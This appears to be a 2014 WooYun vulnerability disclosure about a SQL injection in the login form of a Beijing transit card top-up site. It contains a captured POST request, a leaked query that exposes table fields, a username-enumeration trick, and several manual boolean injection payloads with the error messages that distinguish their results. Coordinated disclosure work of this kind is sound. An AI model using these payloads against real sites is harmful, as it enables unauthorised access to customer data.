当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057806

漏洞标题:北京市政交通一卡通某站点关键点SQL注入

相关厂商:北京市政交通一卡通

漏洞作者: m_vptr

提交时间:2014-04-20 13:46

修复时间:2014-06-04 13:46

公开时间:2014-06-04 13:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-20: 细节已通知厂商并且等待厂商处理中
2014-04-25: 厂商已经确认,细节仅向厂商公开
2014-05-05: 细节向核心白帽子及相关领域专家公开
2014-05-15: 细节向普通白帽子公开
2014-05-25: 细节向实习白帽子公开
2014-06-04: 细节向公众公开

简要描述:

SQL注入

详细说明:

北京市政交通一卡通网上充值站点登录页 https://www.hzt360.com/login 经fuzzing测试发现有错误信息泄露表字段,手工测试证实可SQL注入。用户名密码有错误次数限制,利用较困难。。。

漏洞证明:

POST /login HTTP/1.1
Host: www.hzt360.com
Connection: keep-alive
Content-Length: 148
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://www.hzt360.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://www.hzt360.com/login
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: pgv_pvi=1412546560; pgv_si=s4201846784; __utma=266646999.1836555319.1397916462.1397916462.1397916462.1; __utmc=266646999; __utmz=266646999.1397916462.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); AJSTAT_ok_pages=2; AJSTAT_ok_times=1; JSESSIONID=0D524F897A997AAE7522C9079EBC0B1F.tomcat03
needCheckCode=false&customerName=admin&loginPassword=123456&x=113&y=20


对post参数customerName进行sql fuzzing,页面错误信息发现表字段。

Not all named parameters have been set: [0:10] [ select c.* from PUB_CUSTOMER c left join PUB_RC_CANCEL_ACCOUNT ca on c.CUSTOMER_ID = ca.CUSTOMER_ID where ca.CANCEL_ACCOUNT_ID is NULL and (c.CUSTOMER_NAME='1 waitfor delay '0:0:10'--' or c.MOBILE_CODE='1 waitfor delay '0:0:10'--' or c.CARD_NO='1 waitfor delay '0:0:10'--' or c.E_MAIL='1 waitfor delay '0:0:10'--') order by c.REGISTER_DATE desc ]


一个用户名密码错了10次会锁24小时,没法直接用sqlmap,只能手工。。。
1)首先找了几个用户名

# 找回密码页面可查用户名存在与否
https://www.hzt360.com/customer/toChangeCustomerPassword
# 不存在的
# wangxin1
# 存在的
# wang
# wangxin
# wangxing
# loveyou


2)然后各种测试,确定注入语句格式为:

false' or *payload* or 'false'='


下面是手工测试的一些结论

1) 类型1:找到用户,密码不对
# wangxin
# admin
# 用户名或密码错误, 还有x次机会
# false'or c.CUSTOMER_NAME='admin' or 'false'='
# false'or c.CUSTOMER_NAME like 'admin' or 'false'='
# false'or (1 = (select count(*) from PUB_CUSTOMER where PUB_CUSTOMER.CUSTOMER_NAME='admin') and c.CUSTOMER_NAME='admin') or 'false'='
# false'or (1 = 1 AND EXISTS (select * from PUB_CUSTOMER where PUB_CUSTOMER.CUSTOMER_NAME='woaini') and c.CUSTOMER_NAME='woaini') or 'false'='
# 用户名或密码错误,还有x次机会
2)类型2:找不到用户
# wangxin1
# false'or c.CUSTOMER_NAME = 'wangxin1' or 'false'='
# false'or c.CUSTOMER_NAME like 'loveyouCUSTOMER_NAME' or 'false'='
# 用户名/卡号/手机号错误! (猜想是没有返回结果)
验证 1),2)
# 测试length
# false'or (c.CUSTOMER_NAME = 'loveyou' and length(c.CUSTOMER_NAME) = 7) or 'false'='
# 用户名或密码错误,还有x次机会
# false'or (c.CUSTOMER_NAME = 'loveyou' and length(c.CUSTOMER_NAME) = 8) or 'false'='
# 用户名/卡号/手机号错误!
3)类型3:?
# false'or c.CUSTOMER_NAME like 'admin%' or 'false'='
# false'or c.CUSTOMER_NAME like 'wang%' or 'false'='
# false'or c.CUSTOMER_NAME like 'wangxi%' or 'false'='
# false'or c.CUSTOMER_NAME like 'wangxin%' or 'false'='
# false'or c.CUSTOMER_NAME like 'wangggggkkkkkkkk%' or 'false'='
# 用户名不能为空
# false'or (user() like 'o%') or 'false'='
# 用户名不能为空
实在想不清楚,不知道是不是like和%的关系。应该不是这条sql报的
4)类型4:语法错误时
# 字段写错
# 'or c.CLUSTER_NAME = 'wangxin' or 'false'='
# could not execute query


技术有限,只能证明到这...

修复方案:

你懂的

版权声明:转载请注明来源 m_vptr@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-04-25 08:05

厂商回复:

cnvd确认所述情况,转 由cncert下发给北京分中心处置。

最新状态:

暂无